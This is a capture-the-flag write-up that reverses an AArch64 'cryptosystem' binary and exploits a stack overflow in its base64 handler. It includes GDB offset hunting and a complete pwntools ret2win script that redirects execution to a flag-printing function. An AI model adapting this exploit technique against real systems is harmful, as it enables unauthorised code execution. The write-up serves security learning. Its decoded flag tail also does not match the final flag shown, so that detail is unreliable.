SCC 2026 CTF - Secure Cipher Writeup

1. Overview

The challenge presented a custom "cryptosystem" binary running on AArch64 Linux, accessible via netcat. The description hinted at rolling their own crypto:

After seeing https://gpg.fail/ I decided that 40 year old cryptography cannot be trusted. To solve that, I am rolling my own, impossible-to-break cryptosystem! Your message in my super secure message format:

Checksec output:

Arch:       aarch64-64-little
RELRO:      Partial RELRO
Stack:      No canary (compiled with -fno-stack-protector)
NX:         NX enabled
PIE:        No PIE (0x1000000)
Stripped:   No

2. Reversing the Binary

2.1. Main Function

The binary reads up to 256 bytes from stdin into a stack buffer, validates the length is at least 5 bytes, then calls parse_message.

int main(void)
{
  char acStack_124 [256];
  ssize_t sVar1;
  int local_24;

  local_24 = 0;
  setbuf(&__stdout_FILE,(char *)0x0);
  setbuf(&__stdin_FILE,(char *)0x0);
  puts("After seeing https://gpg.fail/ I decided that 40 year old cryptography cannot be trusted.");
  puts("To solve that, I am rolling my own, impossible-to-break cryptosystem!");
  printf("Your message in my super secure message format: ");
  memset(acStack_124,0,0x100);
  sVar1 = read(0,acStack_124,0x100);
  if ((int)sVar1 < 0) {
    perror("read");
    local_24 = 1;
  }
  else if ((int)sVar1 < 5) {
    puts("too short. don\'t you know the format?");
    local_24 = 1;
  }
  else {
    parse_message(acStack_124);
    local_24 = 0;
  }
  return local_24;
}

2.2. TLV Format

parse_message reads the first 4 bytes as a type tag, dispatching to one of three handlers. The error string "Bad T in your TLV!" reveals the format: Type-Length-Value.

void parse_message(char *message)
{
  int iVar1;
  iVar1 = *(int *)message;
  if (iVar1 == 0x36) {
    rot26(message + 4);
  }
  else if (iVar1 == 0x42) {
    base64(message + 4);
  }
  else {
    if (iVar1 != 0x52) {
      puts("Bad T in your TLV!");
      exit(1);
    }
    rot13(message + 4);
  }
  return;
}
Tag Value Handler
0x36 '6' rot26()
0x42 'B' base64()
0x52 'R' rot13()

2.3. The Vulnerable Function: base64()

The base64 handler reads the first 4 bytes of its input as a length field. If length > 0x100, it triggers a second read() call:

void base64(char *lv)
{
  char acStack_228 [256];   // secondary buffer
  byte abStack_128 [256];   // primary buffer

  local_28 = (uint *)lv;
  memset(abStack_128,0,0x100);
  memset(acStack_228,0,0x100);
  uVar2 = *local_28;        // attacker-controlled length

  if (0x100 < uVar2) {
    puts("input the rest of the message");
    sVar3 = read(0, acStack_228, (ulong)(uVar2 - 0x100));  // reads up to (length-256) bytes
    append_msg((char *)abStack_128, acStack_228, (uint32_t)sVar3);
  }
  // ... base64 encoding loop ...
}

append_msg always writes at buf + 0x100:

void append_msg(char *buf, char *buf2, uint32_t len)
{
  uint local_18;
  for (local_18 = 0; local_18 < len; local_18 = local_18 + 1) {
    buf[(int)(local_18 + 0x100)] = buf2[(int)local_18];  // writes at fixed +0x100 offset
  }
  return;
}

2.4. Stack Layout in base64()

[abStack_128]  256 bytes  ← primary buffer
[acStack_228]  256 bytes  ← overwritten by append_msg
[local vars ]  ~8 bytes
[saved fp   ]  8 bytes
[saved x30  ]  8 bytes    ← return address (link register on AArch64)

The second read() fills acStack_228 and then overflows past it into saved registers.

2.5. rot_the_flag Function

rabin2 -s secure-cipher | grep -iE "system|shell|flag"
1868 0x0000bb1c 0x0101bb1c GLOBAL FUNC   196      rot_the_flag

rot_the_flag opens flag.txt, reads it, wraps it in a TLV with hardcoded length 0x100, and passes it to rot13:

void rot_the_flag(void)
{
  char local_228 [260];
  u8 auStack_124 [256];
  int local_24;

  local_24 = open("./flag.txt",0);
  if (local_24 < 0) {
    perror("open");
    exit(1);
  }
  memset(auStack_124,0,0x100);
  read(local_24,auStack_124,0x100);
  memset(local_228,0,0x104);
  local_228[0] = '\0';
  local_228[1] = '\x01';   // length = 0x0100 = 256 
  local_228[2] = '\0';
  local_228[3] = '\0';
  memcpyFast((u8 *)(local_228 + 4), auStack_124, 0x100);
  puts("lets all love aarch64");
  rot13(local_228);
  return;
}

3. Finding the Offset

On AArch64, there is no dedicated return address on the stack the way x86 uses rip. Instead, the CPU uses the link register x30 (also called lr) to store the return address when a bl (branch-with-link) instruction is executed. When a function wants to return, it executes ret, which jumps to whatever value is currently in x30. Compilers typically save x30 to the stack at function entry and restore it before returning, so overwriting that saved value on the stack gives us control of the instruction pointer.

To find exactly how many bytes into the second payload the saved x30 lives, we use a De Bruijn cyclic pattern — a sequence where every N-byte substring is unique, so when the program crashes with a corrupted x30 we can identify the exact offset just from the value.

First, generate the pattern:

python3 -c "from pwn import *; print(cyclic(300).decode())"
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaar...

To run the binary under QEMU with a GDB stub on port 1234:

qemu-aarch64 -g 1234 ./secure-cipher

In a second terminal, attach GDB and let the program run:

gdb ./secure-cipher
(gdb) target remote :1234
(gdb) c

Send the crafted first payload followed by the cyclic pattern as the second payload. When the function returns, x30 gets loaded with bytes from the pattern and the CPU crashes trying to branch to a nonsense address. GDB catches the SIGSEGV:

Program received signal SIGSEGV, Segmentation fault.
0x0061616661616165 in ?? ()
(gdb) info registers x30
x30   0x6161616661616165

The value 0x6161616661616165 is ASCII bytes from the cyclic pattern. Feed it back into pwntools to get the byte offset — note we pass n=8 because AArch64 uses 8-byte (64-bit) addresses:

python3 -c "from pwn import *; print(cyclic_find(0x6161616661616165, n=8))"
16

The saved x30 sits at offset 16 bytes into the second payload. The 16 bytes before it are local variables and the saved frame pointer x29.

4. Exploit

The Makefile and checksec both revealed no stack canary:

zig cc source.c -o secure-cipher -fno-sanitize=all -fno-stack-protector -static -no-pie -target aarch64-linux-musl

No PIE means rot_the_flag is always at 0x0101bb1c.

Payload structure:

  • First read (256 bytes): [type=0x42][length=0x200][248 bytes padding]
  • Second read (triggered since length > 0x100): [16 bytes padding][address of rot_the_flag]
from pwn import *
import codecs

context.arch = 'aarch64'
p = remote('scc2026.cyberhero.rs', 13333)

payload1 = p32(0x42) + p32(0x200) + b'A' * 248
payload2  = b'A' * 16
payload2 += p64(0x0101bb1c)   # rot_the_flag

p.recvuntil(b'format: ')
p.send(payload1)
p.recvuntil(b'input the rest of the message\n')
p.send(payload2)

p.recv(4096, timeout=5)
data = p.recv(8096, timeout=5)

enc = data.split(b'\nEncrypted message:\n')[1]
raw = enc.split(b'\n')[0]
decoded = codecs.decode(raw.decode(errors='ignore'), 'rot13')
print(decoded.replace('\x00', '_').rstrip('_'))

5. Decoding the Flag

The output from rot_the_flag is the flag rot13-encoded. Non-alphabetic characters (like {, _, }, and digits) pass through rot13 unchanged and are stored as null bytes in the TLV value since rot() only rotates a-z and A-Z.

Raw encoded output:

FPP\x00nnepu\x00\x00VfGurOrfgNepuGuoCTuCc

After rot13 decoding:

SCC\x00aarch\x00\x00IsTheBestArchThbPGhPp

Mapping null bytes back to non-alpha characters:

SCC{aarch64IsTheBestArch...}

NOTE: Took me like 40 minutes to figure out that \x00\x00 is not __, but 64…

SCC{aarch64IsTheBestArchBvWmGOyr}